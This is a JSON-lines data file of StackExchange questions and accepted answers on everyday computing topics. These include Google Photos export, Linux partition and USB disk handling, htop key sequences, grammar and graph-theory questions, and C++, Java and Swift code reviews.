{  "id": "_webapps.84237"  , "question": "Do you know of a way to download photos and videos back from the new http://photos.google.com?I was expecting at least some unofficial tools like Flickr downloader, but I couldn't find any.I'm wary of using the service before I find out how to get data back in case of problems."  , "title": "How to export photos and albums from Google Photos?"  , "tags": "google photos"  , "accepted_answer": "Google Photos is one of the products included in Google Takeout. You can even select exactly which albums you want to download. It will take some time, but once the archive is ready you'll receive an email with a (private) link for you to download your data.Albums will get their own folders within the archive. Photos not in albums appear to get put in folders based on date. Also, if the archive is too large for a single zip file, it will be broken up in to smaller chunks. (For me, each file was 2GB.)"  } 
{  "id": "_unix.52206"  , "question": "I experience relatively often that the partition table of a USB stick or SD card is suddenly no longer recognized by the kernel while (g)parted and fdisk still see it, as do other systems. I can even instruct gparted to do a fsck on one of the partitions but it fails of course because the device files let's say /dev/sdbX don't exist.I'll attach the dmesg output:[ 8771.136129] usb 1-5: new high-speed USB device number 4 using ehci_hcd[ 8771.330322] Initializing USB Mass Storage driver...[ 8771.330766] scsi4 : usb-storage 1-5:1.0[ 8771.331108] usbcore: registered new interface driver usb-storage[ 8771.331118] USB Mass Storage support registered.[ 8772.329734] scsi 4:0:0:0: Direct-Access     Generic  STORAGE DEVICE   0207 PQ: 0 ANSI: 0[ 8772.334359] sd 4:0:0:0: Attached scsi generic sg1 type 0[ 8772.619619] sd 4:0:0:0: [sdb] 31586304 512-byte logical blocks: (16.1 GB/15.0 GiB)[ 8772.620955] sd 4:0:0:0: [sdb] Write Protect is off[ 8772.620971] sd 4:0:0:0: [sdb] Mode Sense: 0b 00 00 08[ 8772.622303] sd 4:0:0:0: [sdb] No Caching mode page present[ 8772.622317] sd 4:0:0:0: [sdb] Assuming drive cache: write through[ 8772.629970] sd 4:0:0:0: [sdb] No Caching mode page present[ 8772.629992] sd 4:0:0:0: [sdb] Assuming drive cache: write through[ 8775.030231] sd 4:0:0:0: [sdb] Unhandled sense code[ 8775.030240] sd 4:0:0:0: [sdb]  Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE[ 8775.030249] sd 4:0:0:0: [sdb]  Sense Key : Medium Error [current] [ 8775.030259] sd 4:0:0:0: [sdb]  Add. Sense: Data phase CRC error detected[ 8775.030271] sd 4:0:0:0: [sdb] CDB: Read(10): 28 00 00 00 00 00 00 00 08 00[ 8775.030291] end_request: I/O error, dev sdb, sector 0[ 8775.030300] quiet_error: 30 callbacks suppressed[ 8775.030306] Buffer I/O error on device sdb, logical block 0[ 8775.033781] ldm_validate_partition_table(): Disk read failed.[ 8775.033813] Dev sdb: unable to read RDB block 0[ 8775.037147]  sdb: unable to read partition table[ 8775.047170] sd 4:0:0:0: [sdb] No Caching mode page present[ 8775.047185] sd 4:0:0:0: [sdb] Assuming drive cache: write through[ 8775.047196] sd 4:0:0:0: [sdb] Attached SCSI removable diskHere, on the other hand, is what parted has to say about the same disk, at the same time:(parted) print                                                            Model: Generic STORAGE DEVICE (scsi)Disk /dev/sdb: 16.2GBSector size (logical/physical): 512B/512BPartition Table: msdosNumber  Start   End     Size    Type     File system  Flags 1      4194kB  62.9MB  58.7MB  primary  fat16        lba 2      62.9MB  16.2GB  16.1GB  primary  ext4It's not only parted, even the older fdisk has no trouble with that partition table:Command (m for help): pDisk /dev/sdb: 16.2 GB, 16172187648 bytes64 heads, 32 sectors/track, 15423 cylinders, total 31586304 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x000dbfc6   Device Boot      Start         End      Blocks   Id  System/dev/sdb1            8192      122879       57344    c  W95 FAT32 (LBA)/dev/sdb2          122880    31586303    15731712   83  LinuxI'm really clueless. It would be easy to say the partition table is corrupted but then why can gparted still read it without complaints (and there are none) or how can I reconstruct the partition table from what (g)parted miraculously found out?"  , "title": "Partition table not recognized by Linux kernel"  , "tags": "linux;kernel;partition;fdisk;parted"  , "accepted_answer": "For some reason your kernel fails to read  the partition table:[ 8775.030291] end_request: I/O error, dev sdb, sector 0[ 8775.030300] quiet_error: 30 callbacks suppressed[ 8775.030306] Buffer I/O error on device sdb, logical block 0[ 8775.033781] ldm_validate_partition_table(): Disk read failed.Thus, it can't create devices for partitions as it did not read the partition table. Later when you try to see the partition table with parted or fdisk the IO is performed successfully. Try to use partprobe /dev/sdX when your kernel did not recognized the partitions at boot time.man partprobe:PARTPROBE(8)                                                         GNU Parted Manual                                                        PARTPROBE(8)NAME       partprobe - inform the OS of partition table changesSYNOPSIS       partprobe [-d] [-s] [devices...]DESCRIPTION       This manual page documents briefly the partprobe command.       partprobe  is  a  program  that informs the operating system kernel of partition table changes, by requesting that the operating system re-read the       partition table."  } 
{  "id": "_cs.60109"  , "question": "Say you are given the following CFG $G$:$$S \\to S_1 \\mid S_2 \\\\S_1 \\to AbAS_1c \\mid \\epsilon \\\\S_2 \\to BaBS_2c \\mid \\epsilon \\\\A \\to Aa \\mid \\epsilon \\\\B \\to Bb \\mid \\epsilon$$What is $L(G)$?So far I've derived the following regular expressions:$ S \\rightarrow (a^*ba^*)^*c \\mid (b^*ab^*)^*c$So far I've come up with this $L(G)$: $L(G) = \\{ (a^nba^n)^qc \\mid (b^nab^n)^*q : n,q \\geq 0    \\}$When you approach the second $S_1$ do you include the $c$ ( As in, finish $S_1c$ and the go recursive)?"  , "title": "Finding Language of a CFG"  , "tags": "formal languages;context free;formal grammars"  , "accepted_answer": "To find the language for the grammar,You need to understand how does the recursiveness in production rules work.In solving A->Aa|epsilon , you need to know that epsilon works as a stopper for a recursive production, and determine the number of times the recursive production occurred for the given production rule.In solving A->Aa|epsilon to get the expression for A made up of terminals , one of the ways is to keep doing with the production rule. After you do that you consider the epsilon which determines the number of times the production rule have occurred, and use that result to express the A concisely. A->Aa->Aaa->Aaaa ... you see that the a is produced recursively and epsilon makes A to stop at any right arrow, so you can substitute A with a*. As asterisk is defined as n>=0 and n is an integer. It is same for solving S1 and S2.First you use the conclusion that A can be substituted with a* as they are same expressions, then AbA(S1)c is same as (a*)b(a*)(S1)(c) keep doing that production rule again and again until you find the regularity in them. S1->(a*)b(a*)S1c->(a*)b(a*)(a*)b(a*)S1cc->(a*)b(a*)(a*)b(a*)(a*)b(a*)S1ccc (You know that c occurs every time the production rule occurs)Then you see that there is (a*)(a*) going on here and you can substitute this with just a* because they are exactly the same expression. let the left asterisk's number of recurrence time as L and right asterisk's number of recurrence time as R. We already know that L and R both satisfy the condition L>=0 , R>=0 and L,R are both integers. Then let S=L+R, then the minimum value for S is 0 because L and R has the minimum value that are both equal to zero, and since the +operator is closed on the integer set, we conclude that S>=0 which means minimum value for S is equal to zero. And S is integer, which is exactly equal to the asterisk's definition. since L+R for the expression (a*)(a*) is equal to the T which is the number of recurrence time for a in (a*). so (a*) is exactly the same expression as (a*)(a*).Then  S1->(a*)b(a*)S1c->(a*)b(a*)(a*)b(a*)S1cc->(a*)b(a*)(a*)b(a*)(a*)b(a*)S1ccc (You now know that c is produced every time you apply the rule so this also answers your second question.)becomes S1->(a*)b(a*)S1c->(a*)b(a*)b(a*)S1cc->(a*)b(a*)b(a*)b(a*)S1ccc->(a*)b(a*)b(a*)b(a*)b(a*)S1cccc....You find the expression of S1 is ((a*)b)^n(a*)c^n since ((a*)b) and c keeps recurring every time you apply production rule for S1. or you can write (a*)(b(a*))^nc^n as (b(a*)) and c keeps recurring. you can do this same for the S2. and the result should look like this. ((b*)a)^n(b*)c^n or (b*)(a(b*))^nc^n Since S->S1|S2 you finally get L(G)L(G)={(a*)(b(a*))^nc^n | ((b*)a)^n(b*)c^n | epsilon : n>=1 and n is an integer}"  } 
{  "id": "_scicomp.25788"  , "question": "I am having trouble implementing the 1-D central-upwind scheme as proposed by Kurganov and Petrova. In particular, the discretization of the nonconservative term $\\bar{\\mathbf{N}}_j^{(2)}$ (eq. 2.25) seems to be blowing my code up.If anyone is familiar with implementing such numerical schemes and is willing to help me out I would appreciate. My code is basically trying to reproduce figure 2.1 of this paper. I would be happy to share my code if you would like or if someone has a similar code I would also be grateful if you would share it.ReferencesKurganov, Alexander, and Guergana Petrova. Central-upwind schemes for two-layer shallow water equations. SIAM Journal on Scientific Computing 31.3 (2009): 1742-1773."  , "title": "Central-upwind scheme for two-layer shallow water equations"  , "tags": "finite difference;numerical analysis;fluid dynamics"  } 
{  "id": "_softwareengineering.149464"  , "question": "I have read in numerous places that when developing a product you need to take a different approach to when you are developing a project (think contract work).Some differences are:1) There is no definitive user, but a user-base. 2) You need to develop the minimal marketable feature set.3) Scheduling needs to be watched, as there is not often a fixed deadline it is possible for the product to run overtime (or for scope creep).I was wondering if there are people out there with experience in both, and if they could offer some input into any differences that they know of. Also if anybody could provide any tips/good references for how to deal with the differences I would be most appreciative."  , "title": "Difference between planning a project vs. planning a product"  , "tags": "project;product;difference"  , "accepted_answer": "Some significant differences:A project is generally time-limited. A product has a lifespan is usually not known at the time of development - your assumption should be that if it succeeds you have an ongoing business.A project needs to deliver against a specified deliverables. A product needs to offer a viable ongoing business. Guess which is harder :-)It's realatively easy to outsource a project. Outsourcing product development is usually a very bad idea (hint: you shouldn't outsource your core competency!)Since products are (usually) externally focused and intended to scale, quality tends to become more important as a success factor.I think the differences listed in the question actually aren't intrinsic differences between products and projects. You could imagine launching a product with a full feature set for example. A project may well have a broad and loosely defined user base. And both products and projects are likely to have issues with scheduling / scope creep :-)"  } 
{  "id": "_unix.367890"  , "question": "I need to get the device names of all connected USB disks (ie sdd).I have 3 USB disks plugged in, and 2 SATA disks:$ find /sys/devices/ -name block        /sys/devices/pci0000:00/0000:00:14.0/usb3/3-7/3-7:1.0/host5/target5:0:0/5:0:0:0/block/sys/devices/pci0000:00/0000:00:14.0/usb4/4-2/4-2:1.0/host6/target6:0:0/6:0:0:0/block/sys/devices/pci0000:00/0000:00:14.0/usb4/4-5/4-5:1.0/host4/target4:0:0/4:0:0:0/block/sys/devices/pci0000:00/0000:00:1f.2/ata1/host0/target0:0:0/0:0:0:0/block/sys/devices/pci0000:00/0000:00:1f.2/ata2/host1/target1:0:0/1:0:0:0/blockI want to ignore the SATA disks, but I need to list all the USB disks.In the terminal, I can us ls and it will give me sdd:$ ls /sys/devices/pci0000:00/0000:00:14.0/usb3/3-7/3-7:1.0/host5/target5:0:0/5:0:0:0/blocksddBut I need to use this in a script. I need to iterate over all USB disks, and I don't know the exact path in advance, so I have to use wildcards (* or ?):for DISK in $(ls /sys/devices/pci0000:00/0000:00:14.0/usb?/*/*:1.0/host?/target?:0:0/?:0:0:0/block) ; doecho /dev/$DISKdonethe above only works if one USB disk is plugged in. If two or more disks are plugend in, I get sdd as well as the /sys path, which I don't want, ie:/dev//sys/devices/pci0000:00/0000:00:14.0/usb3/3-7/3-7:1.0/host5/target5:0:0/5:0:0:0/block:/dev/sdd/dev//sys/devices/pci0000:00/0000:00:14.0/usb4/4-2/4-2:1.0/host6/target6:0:0/6:0:0:0/block:/dev/sde/dev//sys/devices/pci0000:00/0000:00:14.0/usb4/4-5/4-5:1.0/host4/target4:0:0/4:0:0:0/block:/dev/sdchow can I iterate only over sdd sde sdc ?I am looking for a solution not using udev infrastructure, ie /dev/disk/by-path/ "  , "title": "Get the device name of connected USB disk"  , "tags": "shell script;usb;path"  , "accepted_answer": "You can do it with lsblk command.lsblk -l -o name,tran gives NAME TRANsda  satasda1 sdb  usbsdc  usbsr0  sata-l stands for list format, so it's easier to parse. Otherwise, you would get a tree format like this:NAME   TRANsda    satasda1sdb    usbsr0    sataSpecifying other flags will give you more information like FSTYPE, LABEL, UUID, MOUNTPOINT and many other, just run lsblk --help to see all options.You may want to use --paths --noheadings --scsi flags to  have output printed like this:sata   /dev/sdausb    /dev/sdbusb    /dev/sdcsata   /dev/sr0and then grep over the input to filter out those lines with usb at the beginning of the line."  } 
{  "id": "_unix.9252"  , "question": "I know that using the command:lsof -i TCP (or some variant of parameters with lsof) I can determine which process is bound to a particular port.  This is useful say if I'm trying to start something that wants to bind to 8080 and some else is already using that port, but I don't know what.Is there an easy way to do this without using lsof?  I spend time working on many systems and lsof is often not installed."  , "title": "Determining what process is bound to a port"  , "tags": "networking;process;tcp;lsof"  } 
{  "id": "_unix.198711"  , "question": "I'm trying to use htop in tty1. However, some of the function keys don't appear to work as normal. F1 and F2 do nothing, and F3 seems to trigger setup (which should normally be triggered by F2). In addition, F4 and F5 don't work. Also, when I try and press Esc to get out of these screens, I have to press it twice.In a normal terminal (terminator), the function keys work fine. However, I have to press Esc twice here too, so perhaps that's a red herring.How can I use these function keys in tty1?EDITIn tty1, if I press Ctrl+v then F1 to F5, etc. I get the the following output:^[[[A^[[[B^[[[C^[[[D^[[[EIn terminator, I get^[OP^[OQ^[OR^[OS^[[15~The function keys above this are equivalent (e.g. ^[[17~ for F6).EDIT 2In response to Stphane Chazelas's comment.$TERM is the same in tty1 as in my normal, working terminal. It is xterm-256color.I am not using screen or tmux.I am using htop 1.0.3, although my first edit seems to point to it being an issue upstream of htop.Does infocmp -L1 | grep key_f match what those keys send for you?I'm not sure what you mean by match what those keys send for you, but I ran this command in both my normal terminal and tty1, and the output was identical, as below.key_f1=\\EOP,key_f10=\\E[21~,key_f11=\\E[23~,key_f12=\\E[24~,key_f13=\\E[1;2P,key_f14=\\E[1;2Q,key_f15=\\E[1;2R,key_f16=\\E[1;2S,key_f17=\\E[15;2~,key_f18=\\E[17;2~,key_f19=\\E[18;2~,key_f2=\\EOQ,key_f20=\\E[19;2~,key_f21=\\E[20;2~,key_f22=\\E[21;2~,key_f23=\\E[23;2~,key_f24=\\E[24;2~,key_f25=\\E[1;5P,key_f26=\\E[1;5Q,key_f27=\\E[1;5R,key_f28=\\E[1;5S,key_f29=\\E[15;5~,key_f3=\\EOR,key_f30=\\E[17;5~,key_f31=\\E[18;5~,key_f32=\\E[19;5~,key_f33=\\E[20;5~,key_f34=\\E[21;5~,key_f35=\\E[23;5~,key_f36=\\E[24;5~,key_f37=\\E[1;6P,key_f38=\\E[1;6Q,key_f39=\\E[1;6R,key_f4=\\EOS,key_f40=\\E[1;6S,key_f41=\\E[15;6~,key_f42=\\E[17;6~,key_f43=\\E[18;6~,key_f44=\\E[19;6~,key_f45=\\E[20;6~,key_f46=\\E[21;6~,key_f47=\\E[23;6~,key_f48=\\E[24;6~,key_f49=\\E[1;3P,key_f5=\\E[15~,key_f50=\\E[1;3Q,key_f51=\\E[1;3R,key_f52=\\E[1;3S,key_f53=\\E[15;3~,key_f54=\\E[17;3~,key_f55=\\E[18;3~,key_f56=\\E[19;3~,key_f57=\\E[20;3~,key_f58=\\E[21;3~,key_f59=\\E[23;3~,key_f6=\\E[17~,key_f60=\\E[24;3~,key_f61=\\E[1;4P,key_f62=\\E[1;4Q,key_f63=\\E[1;4R,key_f7=\\E[18~,key_f8=\\E[19~,key_f9=\\E[20~,"  , "title": "How can I pass function keys to htop in a tty?"  , "tags": "terminal;console;htop;terminfo"  , "accepted_answer": "By setting:export TERM=xterm-256coloryou're telling htop (and every other visual terminal application that uses the termcap or terminfo database) that your terminal is a 256 colour xterm and not a Linux virtual console.htop will query the terminfo database to know what sequence of characters is sent upon F1, F2... but will get those for xterm.xterm sends different sequences than the Linux virtual console for those keys which you can verify by querying the terminfo database by hand with infocmp for instance:$infocmp -L1 xterm-256color | grep 'key_f[1-5]='        key_f1=\\EOP,        key_f2=\\EOQ,        key_f3=\\EOR,        key_f4=\\EOS,        key_f5=\\E[15~,$infocmp -L1 linux | grep 'key_f[1-5]='        key_f1=\\E[[A,        key_f2=\\E[[B,        key_f3=\\E[[C,        key_f4=\\E[[D,        key_f5=\\E[[E,So htop will not recognise \\E[[A as a F1, it will expect \\EOP for that.Here, you don't want to assign values to $TERM in ~/.bashrc. $TERM should be set by the terminal emulators (xterm, terminator) themselves, and by getty for Linux virtual consoles (should be linux there).If you're not happy with the value that a particular terminal emulator picks for $TERM, that's the configuration of that terminal emulators you should update."  } 
{  "id": "_cs.194"  , "question": "What is the time complexity of finding the diameter of a graph  $G=(V,E)$?${O}(|V|^2)$${O}(|V|^2+|V| \\cdot |E|)$${O}(|V|^2\\cdot |E|)$${O}(|V|\\cdot |E|^2)$The diameter of a graph $G$ is the maximum of the set of shortest path distances between all pairs of vertices in a graph.I have no idea what to do about it, I need a complete analysis on how to solve a problem like this."  , "title": "The time complexity of finding the diameter of a graph"  , "tags": "algorithms;time complexity;graph theory"  , "accepted_answer": "Update:This solution is not correct.The solution is unfortunately only true (and straightforward) for trees! Finding the diameter of a tree does not even need this. Here is a counterexample for graphs (diameter is 4, the algorithm returns 3 if you pick this $v$):If the graph is directed this is rather complex, here is some paper claiming faster results in the dense case than using algorithms for all-pairs shortest paths.However my main point is about the case the graph is not directed and with non-negative weigths, I heard of a nice trick several times:Pick a vertex $v$Find $u$ such that $d(v,u)$ is maximumFind $w$ such that $d(u,w)$ is maximumReturn $d(u,w)$Its complexity is the same as two successive breadth first searches, that is $O(|E|)$ if the graph is connected.It seemed folklore but right now, I'm still struggling to get a reference or to prove its correction. I'll update when I'll achieve one of these goals. It seems so simple I post my answer right now, maybe someone will get it faster. if the graph is weighted, wikipedia seems to say $O(|E|+|V|\\log|V|)$ but I am only sure about $O(|E|\\log|V|)$. If the graph is not connected you get $O(|V|+|E|)$ but you may have to add $O((|V|))$ to pick one element from each connected component. I'm not sure if this is necessary and anyway, you may decide that the diameter is infinite in this case."  } 
{  "id": "_softwareengineering.299071"  , "question": "Months back I started working on a project using 'jbpm' by Redhat. JBPM is a piece of open source software which maps business processes and allows for user input, in addition to other functions.To deploy and start working with jbpm we were to download a WAR file, and deploy it on an application server of our choice (we chose JBoss) along with configuration of the server. This allowed us to access a web interface into the service.Later we decided to build a web application (custom interface) which leveraged the remote api of JBPM, so we could use JBPM's functionality but pretty up and further customize our app.So physically we had the jbpm service hosted on one server as a war, and our own web application hosted on another server as an EAR. Problem now being, that we'd like to deploy the two apps on the same server to avoid the need for cross-talk between the servers.For a while I was attempting to deploy the jbpm war within the ear of the web app, effectively bundling them together, and suddenly I started running into a host of errors.This is where my question comes in:I'm pretty ignorant when it comes to application servers, and what I'm interested in understanding is why we were able to deploy the war by itself so easily onto our JBoss server, but started running into endless 'ClassNotFound' exceptions when we tried to insert it into an ear.The obvious thing that comes to mind is that when deployed as a war it has direct access to the application server, and when inserting it into the ear there is a layer between the two. So if that's what's going on, how do I solve this problem? If that's not what's going on, what might be causing the discrepancy between the two deployment strategies?My end-game in all of this is to understand if I'm able to use the EAR deployment strategy at all, but my knowledge base is so small that I'm having trouble approaching the problem. "  , "title": "WAR deployment on its own vs within EAR"  , "tags": "java;deployment"  } 
{  "id": "_vi.7475"  , "question": "When a variable on which a statusline depends changes, I see the result only in statuslines of active windows.  Can inactive ones be made to see those changes too?"  , "title": "Auto-updating statuslines of inactive windows"  , "tags": "statusline"  } 
{  "id": "_webapps.119"  , "question": "I deleted my twitter account, and now I can't create a new one with the same email address!How do I get a new twitter account with the same email address?"  , "title": "How do I re-activate my twitter account using the same email address?"  , "tags": "twitter;account management"  , "accepted_answer": "I ran into this recently, and I thought this would be a good question to answer here.One way that worked for me was to create an new twitter account with a different email address, and then once that account was active I changed the email address on the account back to the old email address.Useful tip for me."  } 
{  "id": "_codereview.55727"  , "question": "Reverse a doubly linkedlist. Looking for code review, optimizations and best practices.public class ReverseDoublyLinkedList<T> implements Iterable<T> {    private Node<T> first;    private Node<T> last;    private int size;    public ReverseDoublyLinkedList() { };    public ReverseDoublyLinkedList(List<T> c) {        for (T item : c) {            add(item);        }    };    public void add (T t) {        final Node<T> l = last;        final Node<T> node = new Node<T>(null, t, null);        last = node;        if (first == null) {            first = node;        } else {            l.right = node;            node.left = l;        }        size++;    }    private static class Node<T> {        Node<T> left;        T item;        Node<T> right;        public Node(Node<T> left, T item, Node<T> right) {            this.left = left;            this.item = item;            this.right = right;        }    }    public void reverse() {        if (first == null) {            throw new IllegalArgumentException(The root cannot be null.);        }        Node<T> node = first;        while (node != null) {            Node<T> temp = node.left;            node.left = node.right;            node.right = temp;            node = node.left;        }        Node<T> temp = last;        last = first;        first = temp;    }    @Override    public Iterator<T> iterator() {        return new ListItr();    }    private class ListItr implements Iterator<T> {        private int count;        private Node<T> currentNode;        public ListItr() {             this.currentNode = first;        }        @Override        public boolean hasNext() {            return count < size;        }        @Override        public T next() {            if (!hasNext()) {                throw new NoSuchElementException();            }            T item = currentNode.item;            currentNode = currentNode.right;            count++;            return item;        }        @Override        public void remove() {            currentNode.left.right = currentNode.right;            currentNode.right.left = currentNode.left;        }    }    public static void main(String[] args) {        ReverseDoublyLinkedList<Integer> foo = new ReverseDoublyLinkedList<Integer>();        foo.add(10);        foo.add(20);        foo.add(30);        foo.reverse();        Iterator<Integer> itr = foo.iterator();        while (itr.hasNext()) {            System.out.println(itr.next());        }    }}"  , "title": "Reverse a doubly linkedlist"  , "tags": "java;linked list"  } 
{  "id": "_unix.373545"  , "question": "I have a bunch of files and need to verify their checksums. I have a text file that looks like:checksum <tab> filename <new line>Figured I'd use this as an exercise to improve my shell scripting. This is what I came up with and it did the trick, I'm just curious if there's a better way. I realize that it's not very flexible (such as assuming the file's format and the algorithm is 256). But I tried to avoid cat and echo...  :)Thanks!#!/bin/shworkingDir=/path/to/directory/textFile=checksums.txtfilePath=$workingDir$textFilewhile read a b; do    shasumOutput=$(/usr/bin/shasum -a 256 $workingDir$b | /usr/bin/awk '{ print $1 }')    if [ $a = $shasumOutput ]; then        /usr/bin/printf $b checksum matches: $a, $shasumOutput\\n    else        /usr/bin/printf $b checksum doesn't match: $a, $shasumOutput\\n    fidone < $filePath "  , "title": "Quick script to compare checksums"  , "tags": "shell script"  } 
{  "id": "_codereview.159496"  , "question": "I was trying to find any way of developing a string_id, a non-modifiable string holder that is O(1)-copyable and O(1)-comparable to be used as an id. The creator of the string_id is who knows the meaning of each string_id. So, if two different entites creates two ids, that string_id identifiers represent different ids even if they strings representations are equal. Each newly and non-copied object creates a different id.So, two string_ids refers to the same string iif they are in the same copy-hierarchy (a tree of copied objects), and not because their values compares equal.An obvious way of implementing the string_id class could be holding a shared_ptr and comparing the saved address instead of the string contents, but, since the shared_ptr is thread-safe, it adds an extra overhead not needed in certain situations (for example, in my case,  all of string_id instances are going to be used in the gui/main-thread).So, I have implemented a light shared pointer as auxiliary class for implementing the string_id class. It has the following characteristic:It has no default constructor. You need always to pass a unique_ptr holding the wanted object, to explicitly state the wanted value and that the instance is going to be non-shared (externally).It's not thread-safe, but it is exception-safe and copying and comparision is O(1), as said before (all methods are).It doesn't use a reference counter to don't manage two dynamic objects. Instead, it use a doubled-linked circular list of family members. When the first object is created, the next and previous pointers point to this (a => a).When an object b is created as a copy of a, b follows a (a => b => a). When an object is deleted, it is removed from the list. If I'm the last one of my hierarchy (if I point to myself), I remove the shared pointer.It can be further improved with a deleter, or implementing the move constructor/assignment to make it a bit faster (I trust the compiler though).The class:template<class resource_t>class family_member{    resource_t* p_raw_resource;    mutable family_member const* p_previous;    mutable family_member const* p_next;public:    explicit family_member(std::unique_ptr<resource_t>&& resource)       noexcept        : p_raw_resource(resource.release()),          p_previous(this), p_next(this)    {}    family_member(family_member const& sibling) noexcept        : p_raw_resource(sibling.p_raw_resource),          p_previous(std::addressof(sibling)), p_next(sibling.p_next)    { p_next->p_previous = sibling.p_next = this; }    family_member& operator=(family_member const& sibling) noexcept    {        p_raw_resource = sibling.p_raw_resource;        p_previous = std::addressof(sibling);        p_next = sibling.p_next;        p_next->p_previous = sibling.p_next = this;        return *this;    }    ~family_member()    {           if (p_next == this) // I'm the last one            delete p_raw_resource;        else {            p_next->p_previous = p_previous;            p_before->p_next = p_next;        }    }    resource_t& get() noexcept { return *p_raw_resource; }    resource_t const& get() const noexcept { return *p_raw_resource; }    bool same_family(family_member const& stranger) const    { return p_raw_resource == stranger.p_raw_resource; }};To add support for non C++-14 users (no std::make_unique support), the following free function is provided:template<class resource_t, class... args_t>family_member<resource_t> make_family_member(args_t&& ...args){    return family_member<resource_t>(std::unique_ptr<resource_t>        (new resource_t(std::forward<args_t>(args)...))    );}And the string_id class:class string_id{    family_member<std::string> str_id;public:    explicit string_id(std::string const& id) : str_id(make_family_member<std::string>(id))    {}    operator std::string const&() const    { return str_id.get(); }    operator char const*() const    { return str_id.get().c_str(); }    friend bool operator==(string_id const& a, string_id const& b)    {        return a.str_id.same_family(b.str_id);    }};The question is, is that implementation memory-safe? Can it be seen as an anti-pattern? Should I go for other solutions two carry-on, at the same time, the id and the string nature of the same object?And the most important question of alls, is it worthy?"  , "title": "C++ string_id, a O(1)-copyable and O(1)-comparable non-modifiable string class"  , "tags": "c++;strings;pointers"  , "accepted_answer": "The copy constructor looks correct.family_member(family_member const& sibling) noexcept    : p_raw_resource(sibling.p_raw_resource),      p_previous(std::addressof(sibling)), p_next(sibling.p_next){ p_next->p_previous = sibling.p_next = this; }But the point of writing code in a high level language is to try and make it readable. Please don't chain assignments like that. It does not cost you anything to put each on its own line.{    p_next->p_previous = this;    sibling.p_next     = this;}The assignment operator has a bug.family_member& operator=(family_member const& sibling) noexcept{    p_raw_resource = sibling.p_raw_resource;    p_previous = std::addressof(sibling);    p_next = sibling.p_next;    p_next->p_previous = sibling.p_next = this;    return *this;}You correctly add it to the new chain. But you did not remove it from the old chain. So the previous chain that it was in now is broken as it links into the new chain via this.You have an issue with your get(). You have no way to tell if the class actually contains a valid pointer. It is perfectly legal to initialize this object with a nullptr (via an empty std::unique_ptr). Since you can't tell if the object contains a nullptr every call to get() is a game of russian roulette at some point you are going to invoke undefined behavior. "  } 
{  "id": "_unix.388399"  , "question": "When I start bash or any other shell, it has no history. Do you have any idea what I can do about it? I'm trying to use the upwards arrow and it has no effect if I start a new shell with OpenBSD or Ubuntu xenial. "  , "title": "Enable history for shell"  , "tags": "shell;ubuntu;command history;openbsd"  } 
{  "id": "_softwareengineering.201756"  , "question": "I'm writing a game that has a lot of time based aspects. I use time to help estimate player positions when the network stalls and packets aren't going through (and the time between packet's being received and not). It's a pacman type game in the sense that a player picks a direction and can't stop moving, so that system makes sense (or at least I think it does).So I have two questions: 1) How do I sync the clocks of the games at the start since there is delay in the network. 2) Is it okay NOT to sync them and just assume that they are the same (my code is time-zone independent). It's not a super competitive game where people would change their clocks to cheat, but still.The game is being programmed in Java and Python (parallel development as a project)"  , "title": "How to sync clocks over networking for game development?"  , "tags": "java;python;game development;networking"  } 
{  "id": "_codereview.138312"  , "question": "I recently answered a question that had me wondering if I could simplify this below code without creating an extra function:for object in objects {    if let type = object[type] where !type.isEmpty, let name = object[name] {        print(pokemonTypeDefenseChart[type])        for weakness in pokemonTypeDefenseChart[type]! {            if pokemonWeaknessChart[weakness] == nil {                pokemonWeaknessChart[weakness] = []            }            pokemonWeaknessChart[weakness]?.append(name)        }    }    if let typeTwo = object[typeTwo] where !typeTwo.isEmpty, let name = object[name] {        for weakness in pokemonTypeDefenseChart[typeTwo]! {            if pokemonWeaknessChart[weakness] == nil {                pokemonWeaknessChart[weakness] = []            }            pokemonWeaknessChart[weakness]?.append(name)        }    }}Essentially the code loops through objects (list of pokemon) and is designed to add all of the pokemon weak to type (and optionally typeTwo).I ended up just refactoring the for statements inside the if let statements into a function, but I was wondering if it was possible to compress these without an extra function. The only difference is the type.I know I could simplify it a bit by using a map instead of for loops but I wanted to keep it more understandable for the question.Any ideas?"  , "title": "Registering Pokmon weaknesses"  , "tags": "swift;pokemon"  , "accepted_answer": "You could do something like:for x in [type, typeTwo] {    if let type = object[x] where !type.isEmpty,        let name = object[name],        defenseChart = pokemonTypeDefenseChart[type] { /* ... */ }}Also, to simplify the rest of your code, you could extend Dictionary like this:extension Dictionary {    subscript(key: Key, fallback fallback: Value) -> Value {        get { return self[key] ?? fallback }        set { self[key] = newValue }    }}This allows you to replace this:for weakness in defenseChart {    if pokemonWeaknessChart[weakness] == nil {        pokemonWeaknessChart[weakness] = []    }    pokemonWeaknessChart[weakness]?.append(name)}by this:for weakness in defenseChart {    pokemonWeaknessChart[weakness, fallback: []].append(name)}"  } 
{  "id": "_cstheory.37514"  , "question": "I am looking for the name and a reference for a $\\Delta_2^P$-complete problem that looks like the followingInput:A collection of CNF formulas $\\phi_i(x_1^i, x_2^i,\\dots, x_m^i, z_1, z_2, \\dots, z_{i-1})$ for $1 \\leq i \\leq n$ where the $x_j^i$ are free variables and the $z_i$ variables are bound, and the value of $z_i$ is true if $\\phi_i$ is satisfiable and false if $\\phi_i$ is unsatisfiable.Output: Whether $\\phi_n$ is satisfiable.I looked at https://cs.stackexchange.com/questions/14251/which-problems-are-hard-for-pnp and at https://mathoverflow.net/questions/2218/characterize-pnp-a-k-a-delta-2p but couldn't find what I'm looking for. I believe I came across a paper mentioning a problem defined similarly to the one above a couple months ago, but I don't remember which paper was listing it. I am not 100% sure about my recollection of the problem definition and this is one of the reasons behind this reference request."  , "title": "Reference request for a $\\Delta_2^P$ satisfiability problem"  , "tags": "cc.complexity theory;reference request;sat"  } 
{  "id": "_unix.77315"  , "question": "Given that you usually have to authenticate to the X Server by way of a magic cookie stored in the .xauthority file in the user's home directory: How does GDM (like most login processes, running as root, I would assume) connect to the X Server in order to draw the login display? Does it use any .xauthority files stored in the root user's home directory or does it bypass authentication altogether?"  , "title": "How does GDM authenticate to the X Server?"  , "tags": "xorg;x11;gdm"  , "accepted_answer": "On my system ps finds this:/usr/bin/Xorg -br :0 vt7 -nolisten tcp -auth /var/lib/xdm/authdir/authfiles/A:0-wEJjacThe display manager starts X with the auth file to use as parameter. It can use that file directly.Edit 1:It's KDM in my case, not GDM."  } 
